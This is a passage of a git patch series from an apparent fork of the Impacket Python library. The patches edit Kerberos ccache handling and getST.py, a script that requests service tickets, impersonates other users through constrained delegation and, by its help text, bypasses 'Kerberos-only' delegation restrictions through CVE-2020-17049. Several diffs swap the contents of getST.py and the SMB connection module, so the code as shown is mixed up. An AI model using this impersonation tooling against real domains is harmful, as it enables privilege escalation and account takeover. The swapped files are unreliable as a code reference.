else: + return self._SMBConnection.getSessionKey() + + def setSessionKey(self, key): + if self.getDialect() == smb.SMB_DIALECT: + return self._SMBConnection.set_session_key(key) + else: + return self._SMBConnection.setSessionKey(key) + + def setHostnameValidation(self, validate, accept_empty, hostname): + return self._SMBConnection.set_hostname_validation(validate, accept_empty, hostname) + + def close(self): + """ + logs off and closes the underlying _NetBIOSSession() + + :return: None + """ + try: + self.logoff() except: - # No cache present pass + self._SMBConnection.close_session() - if tgt is None: - # Still no TGT - userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - logging.info('Getting TGT for user') - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, - unhexlify(self.__lmhash), unhexlify(self.__nthash), - self.__aesKey, - self.__kdcHost) - - # Ok, we have valid TGT, let's try to get a service ticket - if self.__options.impersonate is None: - # Normal TGS interaction - logging.info('Getting ST for user') - serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey) - self.__saveFileName = self.__user + +class SessionError(Exception): + """ + This is the exception every client should catch regardless of the underlying + SMB version used. We'll take care of that. NETBIOS exceptions are NOT included, + since all SMB versions share the same NETBIOS instances. + """ + def __init__( self, error = 0, packet=0): + Exception.__init__(self) + self.error = error + self.packet = packet + + def getErrorCode( self ): + return self.error + + def getErrorPacket( self ): + return self.packet + + def getErrorString( self ): + return nt_errors.ERROR_MESSAGES[self.error] + + def __str__( self ): + if self.error in nt_errors.ERROR_MESSAGES: + return 'SMB SessionError: %s(%s)' % (nt_errors.ERROR_MESSAGES[self.error]) else: - # Here's the rock'n'roll - try: - logging.info('Impersonating %s' % self.__options.impersonate) - # Editing below to pass hashes for decryption - if self.__additional_ticket is not None: - tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, - self.__kdcHost, self.__additional_ticket) - else: - tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, options.s4u2self, options.alt_service) - except Exception as e: - logging.debug("Exception", exc_info=True) - logging.error(str(e)) - if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0: - logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) - if str(e).find('KDC_ERR_BADOPTION') >= 0: - logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) - - return - self.__saveFileName = self.__options.impersonate - - self.saveTicket(tgs, oldSessionKey, options.alt_service) - - -if __name__ == '__main__': - print(version.BANNER) - - parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " - "Service Ticket and save it as ccache") - parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' - 'service ticket will' ' be generated for') - parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' - ' for quering the ST. Keep in mind this will only work if ' - 'the identity provided in this scripts is allowed for ' - 'delegation to the SPN specified') - parser.add_argument('-alt-service', action="store", help='change the service ticket\'s sname') - parser.add_argument('-s4u2self', action="store_true", help='only do s4u2self request') - parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' - 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' - 'specified -identity should be provided. This allows impresonation of protected users ' - 'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049') - - group = parser.add_argument_group('authentication') - - group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' - 'ones specified in the command line') - group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' - '(128 or 256 bits)') - group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' - 'ommited it use the domain part (FQDN) specified in the target parameter') - - if len(sys.argv) == 1: - parser.print_help() - print("\nExamples: ") - print("\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n") - print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked") - sys.exit(1) - - options = parser.parse_args() - - # Init the example's logger theme - logger.init(options.ts) - - if options.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - if options.alt_service != None and len(options.alt_service.split('/')) != 2: - logging.critical('alt-service should be specified as service/host format') - sys.exit(1) - domain, username, password = parse_credentials(options.identity) - - try: - if domain is None: - logging.critical('Domain should be specified!') - sys.exit(1) - - if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: - from getpass import getpass - - password = getpass("Password:") - - if options.aesKey is not None: - options.k = True - - executer = GETST(username, password, domain, options) - executer.run() - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - - traceback.print_exc() - print(str(e)) + return 'SMB SessionError: 0x%x' % self.error From c925ff8cd882b85d1d02e60736b46bbe096e4c3f Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 19 Feb 2022 23:00:03 +0800 Subject: [PATCH 042/152] Update ccache.py --- impacket/krb5/ccache.py | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 94e7e0f61c..011717210a 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -455,7 +455,7 @@ def fromTGT(self, tgt, oldSessionKey, sessionKey): credential.secondTicket['length'] = 0 self.credentials.append(credential) - def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): + def fromTGS(self, tgs, oldSessionKey, sessionKey): self.headers = [] header = Header() header['tag'] = 1 @@ -484,7 +484,7 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): credential = Credential() server = types.Principal() - server.from_asn1(encTGSRepPart, 'srealm', 'sname', alt_service) + server.from_asn1(encTGSRepPart, 'srealm', 'sname') tmpServer = Principal() tmpServer.fromPrincipal(server) @@ -511,10 +511,6 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): credential['num_address'] = 0 credential.ticket = CountedOctetString() - if alt_service != None: - decodedTGS['ticket']['sname']['name-type'] = 0 - decodedTGS['ticket']['sname']['name-string'][0] = alt_service.split('/')[0] - decodedTGS['ticket']['sname']['name-string'][1] = alt_service.split('/')[1] credential.ticket['data'] = encoder.encode(decodedTGS['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)) credential.ticket['length'] = len(credential.ticket['data']) credential.secondTicket = CountedOctetString() From dc4cb90f2936018702c5a3d3cde60f7b48652c1e Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 19 Feb 2022 23:00:22 +0800 Subject: [PATCH 043/152] Update types.py --- impacket/krb5/types.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py index ae5be34545..d6a6cbc307 100644 --- a/impacket/krb5/types.py +++ b/impacket/krb5/types.py @@ -137,14 +137,12 @@ def __repr__(self): return "Principal((" + repr(self.components) + ", " + \ repr(self.realm) + "), t=" + str(self.type) + ")" - def from_asn1(self, data, realm_component, name_component, alt_service=None): + def from_asn1(self, data, realm_component, name_component): name = data.getComponentByName(name_component) self.type = constants.PrincipalNameType( name.getComponentByName('name-type')).value self.components = [ str(c) for c in name.getComponentByName('name-string')] - if name_component == "sname" and alt_service!=None: - self.components = alt_service.split('/') self.realm = str(data.getComponentByName(realm_component)) return self From fea9812924b83b990ba92484c01334b27437600a Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 19 Feb 2022 23:01:09 +0800 Subject: [PATCH 044/152] Update getST.py --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index eebfe7ac8a..6922fc97cc 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,6 +1,6 @@ # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file From 8cfd8e8c37dd3b44a9030efa59a253776d281e1c Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 19 Feb 2022 23:02:28 +0800 Subject: [PATCH 045/152] Update getST.py --- examples/getST.py | 1703 ++++++++++++++++++++------------------------- 1 file changed, 738 insertions(+), 965 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 6922fc97cc..9908123eda 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,3 +1,4 @@ +#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. @@ -7,1023 +8,795 @@ # for more information. # # Description: -# Wrapper class for SMB1/2/3 so it's transparent for the client. -# You can still play with the low level methods (version dependent) -# by calling getSMBServer() +# Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache +# If the account has constrained delegation (with protocol transition) privileges you will be able to use +# the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to +# request the ticket.) # -# Author: Alberto Solino (@agsolino) +# Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u) +# +# Examples: +# ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user +# or +# If you have tickets cached (run klist to verify) the script will use them +# ./getST.py -k -spn cifs/contoso-dc contoso.com/user +# Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets +# by default. +# +# Also, if the account is configured with constrained delegation (with protocol transition) you can request +# service tickets for other users, assuming the target SPN is allowed for delegation: +# ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user +# +# The output of this script will be a service ticket for the Administrator user. +# +# Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. +# +# Author: +# Alberto Solino (@agsolino) # -import ntpath -import socket - -from impacket import smb, smb3, nmb, nt_errors, LOG -from impacket.ntlm import compute_lmhash, compute_nthash -from impacket.smb3structs import SMB2Packet, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, GENERIC_ALL, FILE_SHARE_READ, \ - FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_NON_DIRECTORY_FILE, FILE_OVERWRITE_IF, FILE_ATTRIBUTE_NORMAL, \ - SMB2_IL_IMPERSONATION, SMB2_OPLOCK_LEVEL_NONE, FILE_READ_DATA , FILE_WRITE_DATA, FILE_OPEN, GENERIC_READ, GENERIC_WRITE, \ - FILE_OPEN_REPARSE_POINT, MOUNT_POINT_REPARSE_DATA_STRUCTURE, FSCTL_SET_REPARSE_POINT, SMB2_0_IOCTL_IS_FSCTL, \ - MOUNT_POINT_REPARSE_GUID_DATA_STRUCTURE, FSCTL_DELETE_REPARSE_POINT, FSCTL_SRV_ENUMERATE_SNAPSHOTS, SRV_SNAPSHOT_ARRAY, \ - FILE_SYNCHRONOUS_IO_NONALERT, FILE_READ_EA, FILE_READ_ATTRIBUTES, READ_CONTROL, SYNCHRONIZE, SMB2_DIALECT_311 - - -# So the user doesn't need to import smb, the smb3 are already in here -SMB_DIALECT = smb.SMB_DIALECT - -class SMBConnection: - """ - SMBConnection class - - :param string remoteName: name of the remote host, can be its NETBIOS name, IP or *\\*SMBSERVER*. If the later, - and port is 139, the library will try to get the target's server name. - :param string remoteHost: target server's remote address (IPv4, IPv6) or FQDN - :param string/optional myName: client's NETBIOS name - :param integer/optional sess_port: target port to connect - :param integer/optional timeout: timeout in seconds when receiving packets - :param optional preferredDialect: the dialect desired to talk with the target server. If not specified the highest - one available will be used - :param optional boolean manualNegotiate: the user manually performs SMB_COM_NEGOTIATE - - :return: a SMBConnection instance, if not raises a SessionError exception - """ - - def __init__(self, remoteName='', remoteHost='', myName=None, sess_port=nmb.SMB_SESSION_PORT, timeout=60, preferredDialect=None, - existingConnection=None, manualNegotiate=False): - - self._SMBConnection = 0 - self._dialect = '' - self._nmbSession = 0 - self._sess_port = sess_port - self._myName = myName - self._remoteHost = remoteHost - self._remoteName = remoteName - self._timeout = timeout - self._preferredDialect = preferredDialect - self._existingConnection = existingConnection - self._manualNegotiate = manualNegotiate - self._doKerberos = False - self._kdcHost = None - self._useCache = True - self._ntlmFallback = True - - if existingConnection is not None: - # Existing Connection must be a smb or smb3 instance - assert ( isinstance(existingConnection,smb.SMB) or isinstance(existingConnection, smb3.SMB3)) - self._SMBConnection = existingConnection - self._preferredDialect = self._SMBConnection.getDialect() - self._doKerberos = self._SMBConnection.getKerberos() - return - - ##preferredDialect = smb.SMB_DIALECT - - if manualNegotiate is False: - self.negotiateSession(preferredDialect) - - def negotiateSession(self, preferredDialect=None, - flags1=smb.SMB.FLAGS1_PATHCASELESS | smb.SMB.FLAGS1_CANONICALIZED_PATHS, - flags2=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES, - negoData='\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'): - """ - Perform protocol negotiation - - :param string preferredDialect: the dialect desired to talk with the target server. If None is specified the highest one available will be used - :param string flags1: the SMB FLAGS capabilities - :param string flags2: the SMB FLAGS2 capabilities - :param string negoData: data to be sent as part of the nego handshake - - :return: True - :raise SessionError: if error - """ - - # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old - # applications still believing - # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about i - # *SMBSERVER's limitations - if self._sess_port == nmb.SMB_SESSION_PORT and self._remoteName == '*SMBSERVER': - self._remoteName = self._remoteHost - elif self._sess_port == nmb.NETBIOS_SESSION_PORT and self._remoteName == '*SMBSERVER': - # If remote name is *SMBSERVER let's try to query its name.. if can't be guessed, continue and hope for the best - nb = nmb.NetBIOS() - try: - res = nb.getnetbiosname(self._remoteHost) - except: - pass - else: - self._remoteName = res - - if self._sess_port == nmb.NETBIOS_SESSION_PORT: - negoData = '\x02NT LM 0.12\x00\x02SMB 2.002\x00' - - hostType = nmb.TYPE_SERVER - if preferredDialect is None: - # If no preferredDialect sent, we try the highest available one. - packet = self.negotiateSessionWildcard(self._myName, self._remoteName, self._remoteHost, self._sess_port, - self._timeout, True, flags1=flags1, flags2=flags2, data=negoData) - if packet[0:1] == b'\xfe': - # Answer is SMB2 packet - self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType, - self._sess_port, self._timeout, session=self._nmbSession, - negSessionResponse=SMB2Packet(packet)) - else: - # Answer is SMB packet, sticking to SMBv1 - self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, - self._sess_port, self._timeout, session=self._nmbSession, - negPacket=packet) - else: - if preferredDialect == smb.SMB_DIALECT: - self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, - self._sess_port, self._timeout) - elif preferredDialect in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_DIALECT_311]: - self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType, - self._sess_port, self._timeout, preferredDialect=preferredDialect) - else: - raise Exception("Unknown dialect %s") - - # propagate flags to the smb sub-object, except for Unicode (if server supports) - # does not affect smb3 objects - if isinstance(self._SMBConnection, smb.SMB): - if self._SMBConnection.get_flags()[1] & smb.SMB.FLAGS2_UNICODE: - flags2 |= smb.SMB.FLAGS2_UNICODE - self._SMBConnection.set_flags(flags1=flags1, flags2=flags2) - - return True - - def negotiateSessionWildcard(self, myName, remoteName, remoteHost, sess_port, timeout, extended_security=True, flags1=0, - flags2=0, data=None): - # Here we follow [MS-SMB2] negotiation handshake trying to understand what dialects - # (including SMB1) is supported on the other end. - - if not myName: - myName = socket.gethostname() - i = myName.find('.') - if i > -1: - myName = myName[:i] - - tries = 0 - smbp = smb.NewSMBPacket() - smbp['Flags1'] = flags1 - # FLAGS2_UNICODE is required by some stacks to continue, regardless of subsequent support - smbp['Flags2'] = flags2 | smb.SMB.FLAGS2_UNICODE - resp = None - while tries < 2: - self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName, remoteHost, nmb.TYPE_SERVER, sess_port, - timeout) - - negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE) - if extended_security is True: - smbp['Flags2'] |= smb.SMB.FLAGS2_EXTENDED_SECURITY - negSession['Data'] = data - smbp.addCommand(negSession) - self._nmbSession.send_packet(smbp.getData()) - - try: - resp = self._nmbSession.recv_packet(timeout) - break - except nmb.NetBIOSError: - # OSX Yosemite asks for more Flags. Let's give it a try and see what happens - smbp['Flags2'] |= smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | smb.SMB.FLAGS2_UNICODE - smbp['Data'] = [] - - tries += 1 - - if resp is None: - # No luck, quitting - raise Exception('No answer!') - - return resp.get_trailer() - - - def getNMBServer(self): - return self._nmbSession - - def getSMBServer(self): - """ - returns the SMB/SMB3 instance being used. Useful for calling low level methods - """ - return self._SMBConnection - - def getDialect(self): - return self._SMBConnection.getDialect() - - def getServerName(self): - return self._SMBConnection.get_server_name() - - def getClientName(self): - return self._SMBConnection.get_client_name() - - def getRemoteHost(self): - return self._SMBConnection.get_remote_host() - - def getRemoteName(self): - return self._SMBConnection.get_remote_name() - - def setRemoteName(self, name): - return self._SMBConnection.set_remote_name(name) - - def getServerDomain(self): - return self._SMBConnection.get_server_domain() - - def getServerDNSDomainName(self): - return self._SMBConnection.get_server_dns_domain_name() - - def getServerDNSHostName(self): - return self._SMBConnection.get_server_dns_host_name() - - def getServerOS(self): - return self._SMBConnection.get_server_os() - - def getServerOSMajor(self): - return self._SMBConnection.get_server_os_major() - - def getServerOSMinor(self): - return self._SMBConnection.get_server_os_minor() - - def getServerOSBuild(self): - return self._SMBConnection.get_server_os_build() - - def doesSupportNTLMv2(self): - return self._SMBConnection.doesSupportNTLMv2() - - def isLoginRequired(self): - return self._SMBConnection.is_login_required() - - def isSigningRequired(self): - return self._SMBConnection.is_signing_required() - - def getCredentials(self): - return self._SMBConnection.getCredentials() - - def getIOCapabilities(self): - return self._SMBConnection.getIOCapabilities() - - def login(self, user, password, domain = '', lmhash = '', nthash = '', ntlmFallback = True): - """ - logins into the target system - - :param string user: username - :param string password: password for the user - :param string domain: domain where the account is valid for - :param string lmhash: LMHASH used to authenticate using hashes (password is not used) - :param string nthash: NTHASH used to authenticate using hashes (password is not used) - :param bool ntlmFallback: If True it will try NTLMv1 authentication if NTLMv2 fails. Only available for SMBv1 - - :return: None - :raise SessionError: if error - """ - self._ntlmFallback = ntlmFallback - try: - if self.getDialect() == smb.SMB_DIALECT: - return self._SMBConnection.login(user, password, domain, lmhash, nthash, ntlmFallback) - else: - return self._SMBConnection.login(user, password, domain, lmhash, nthash) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, - TGS=None, useCache=True): - """ - logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. - - :param string user: username - :param string password: password for the user - :param string domain: domain where the account is valid for (required) - :param string lmhash: LMHASH used to authenticate using hashes (password is not used) - :param string nthash: NTHASH used to authenticate using hashes (password is not used) - :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication - :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) - :param struct TGT: If there's a TGT available, send the structure here and it will be used - :param struct TGS: same for TGS. See smb3.py for the format - :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False - - :return: None - :raise SessionError: if error - """ - import os - from impacket.krb5.ccache import CCache - from impacket.krb5.kerberosv5 import KerberosError - from impacket.krb5 import constants - - self._kdcHost = kdcHost - self._useCache = useCache - - if TGT is not None or TGS is not None: - useCache = False - - if useCache is True: - try: - ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) - except: - # No cache present - pass +from __future__ import division +from __future__ import print_function +import argparse +import datetime +import logging +import os +import random +import struct +import sys +from binascii import hexlify, unhexlify +from six import b + +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.krb5 import constants +from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ + Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart +from impacket.krb5.ccache import CCache +from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype +from impacket.krb5.constants import TicketFlags, encodeFlags +from impacket.krb5.kerberosv5 import getKerberosTGS +from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive +from impacket.krb5.types import Principal, KerberosTime, Ticket +from impacket.ntlm import compute_nthash +from impacket.winregistry import hexdump + + +class GETST: + def __init__(self, target, password, domain, options): + self.__password = password + self.__user = target + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = options.aesKey + self.__options = options + self.__kdcHost = options.dc_ip + self.__force_forwardable = options.force_forwardable + self.__additional_ticket = options.additional_ticket + self.__saveFileName = None + self.__no_s4u2proxy = options.no_s4u2proxy + self.__alt_service = options.altservice + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def saveTicket(self, ticket, sessionKey): + logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) + ccache = CCache() + + ccache.fromTGS(ticket, sessionKey, sessionKey) + if self.__alt_service != None: + self.substitute_sname(ccache) + ccache.saveFile(self.__saveFileName + '.ccache') + + def substitute_sname(self, ccache): + cred_number = 0 + logging.info('Number of credentials in cache: %d' % len(ccache.credentials)) + if cred_number > 1: + logging.debug("More than one credentials in cache, modifying all of them") + for creds in ccache.credentials: + sname = creds['server'].prettyPrint() + if len(sname.split(b'@')[0].split(b'/')) == 2: + hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') else: - LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) - # retrieve domain information from CCache file if needed - if domain == '': - domain = ccache.principal.realm['data'].decode('utf-8') - LOG.debug('Domain retrieved from CCache: %s' % domain) - - principal = 'cifs/%s@%s' % (self.getRemoteName().upper(), domain.upper()) - creds = ccache.getCredential(principal) - if creds is None: - # Let's try for the TGT and go from there - principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper()) - creds = ccache.getCredential(principal) - if creds is not None: - TGT = creds.toTGT() - LOG.debug('Using TGT from cache') - else: - LOG.debug("No valid credentials found in cache. ") + hostname = sname.split(b'@')[0].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') + if '@' in self.__alt_service: + new_service_realm = self.__alt_service.split('@')[1].upper() + if not '.' in new_service_realm: + logging.debug("New service realm is not FQDN, you may encounter errors") + if '/' in self.__alt_service: + new_hostname = self.__alt_service.split('@')[0].split('/')[1] + new_service_class = self.__alt_service.split('@')[0].split('/')[0] else: - TGS = creds.toTGS(principal) - LOG.debug('Using TGS from cache') - - # retrieve user information from CCache file if needed - if user == '' and creds is not None: - user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') - LOG.debug('Username retrieved from CCache: %s' % user) - elif user == '' and len(ccache.principal.components) > 0: - user = ccache.principal.components[0]['data'].decode('utf-8') - LOG.debug('Username retrieved from CCache: %s' % user) - - while True: - try: - if self.getDialect() == smb.SMB_DIALECT: - return self._SMBConnection.kerberos_login(user, password, domain, lmhash, nthash, aesKey, kdcHost, - TGT, TGS) - return self._SMBConnection.kerberosLogin(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT, - TGS) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - except KerberosError as e: - if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: - # We might face this if the target does not support AES - # So, if that's the case we'll force using RC4 by converting - # the password to lm/nt hashes and hope for the best. If that's already - # done, byebye. - if lmhash == '' and nthash == '' and (aesKey == '' or aesKey is None) and TGT is None and TGS is None: - lmhash = compute_lmhash(password) - nthash = compute_nthash(password) - else: - raise e + logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) + new_hostname = hostname + new_service_class = self.__alt_service.split('@')[0] + else: + logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) + new_service_realm = service_realm + if '/' in self.__alt_service: + new_hostname = self.__alt_service.split('/')[1] + new_service_class = self.__alt_service.split('/')[0] else: - raise e - - def isGuestSession(self): - try: - return self._SMBConnection.isGuestSession() - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def logoff(self): - try: - return self._SMBConnection.logoff() - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - - def connectTree(self,share): - if self.getDialect() == smb.SMB_DIALECT: - # If we already have a UNC we do nothing. - if ntpath.ismount(share) is False: - # Else we build it - share = ntpath.basename(share) - share = '\\\\' + self.getRemoteHost() + '\\' + share - try: - return self._SMBConnection.connect_tree(share) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - - def disconnectTree(self, treeId): - try: - return self._SMBConnection.disconnect_tree(treeId) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - - def listShares(self): - """ - get a list of available shares at the connected target - - :return: a list containing dict entries for each share - :raise SessionError: if error - """ - # Get the shares through RPC - from impacket.dcerpc.v5 import transport, srvs - rpctransport = transport.SMBTransport(self.getRemoteName(), self.getRemoteHost(), filename=r'\srvsvc', - smb_connection=self) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - resp = srvs.hNetrShareEnum(dce, 1) - return resp['InfoStruct']['ShareInfo']['Level1']['Buffer'] - - def listPath(self, shareName, path, password = None): - """ - list the files/directories under shareName/path - - :param string shareName: a valid name for the share where the files/directories are going to be searched - :param string path: a base path relative to shareName - :param string password: the password for the share - - :return: a list containing smb.SharedFile items - :raise SessionError: if error - """ - - try: - return self._SMBConnection.list_path(shareName, path, password) - except (smb.SessionError, smb3.SessionError) as e: - raise SessionError(e.get_error_code(), e.get_error_packet()) - - def createFile(self, treeId, pathName, desiredAccess=GENERIC_ALL, - shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, - creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OVERWRITE_IF, - fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, - oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): - """ - Creates a remote file - - :param HANDLE treeId: a valid handle for the share where the file is to be created - :param string pathName: the path name of the file to create - :param int desiredAccess: The level of access that is required, as specified in https://msdn.microsoft.com/en-us/library/cc246503.aspx - :param int shareMode: Specifies the sharing mode for the open. - :param int creationOption: Specifies the options to be applied when creating or opening the file. - :param int creationDisposition: Defines the action the server MUST take if the file that is specified in the name - field already exists. - :param int fileAttributes: This field MUST be a combination of the values specified in [MS-FSCC] section 2.6, and MUST NOT include any values other than those specified in that section. - :param int impersonationLevel: This field specifies the impersonation level requested by the application that is issuing the create request. - :param int securityFlags: This field MUST NOT be used and MUST be reserved. The client MUST set this to 0, and the server MUST ignore it. - :param int oplockLevel: The requested oplock level - :param createContexts: A variable-length attribute that is sent with an SMB2 CREATE Request or SMB2 CREATE Response that either gives extra information about how the create will be processed, or returns extra information about how the create was processed. - - :return: a valid file descriptor - :raise SessionError: if error - """ - if self.getDialect() == smb.SMB_DIALECT: - _, flags2 = self._SMBConnection.get_flags() - - pathName = pathName.replace('/', '\\') - packetPathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName - - ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) - ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters() - ntCreate['Data'] = smb.SMBNtCreateAndX_Data(flags=flags2) - ntCreate['Parameters']['FileNameLength']= len(packetPathName) - ntCreate['Parameters']['AccessMask'] = desiredAccess - ntCreate['Parameters']['FileAttributes']= fileAttributes - ntCreate['Parameters']['ShareAccess'] = shareMode - ntCreate['Parameters']['Disposition'] = creationDisposition - ntCreate['Parameters']['CreateOptions'] = creationOption - ntCreate['Parameters']['Impersonation'] = 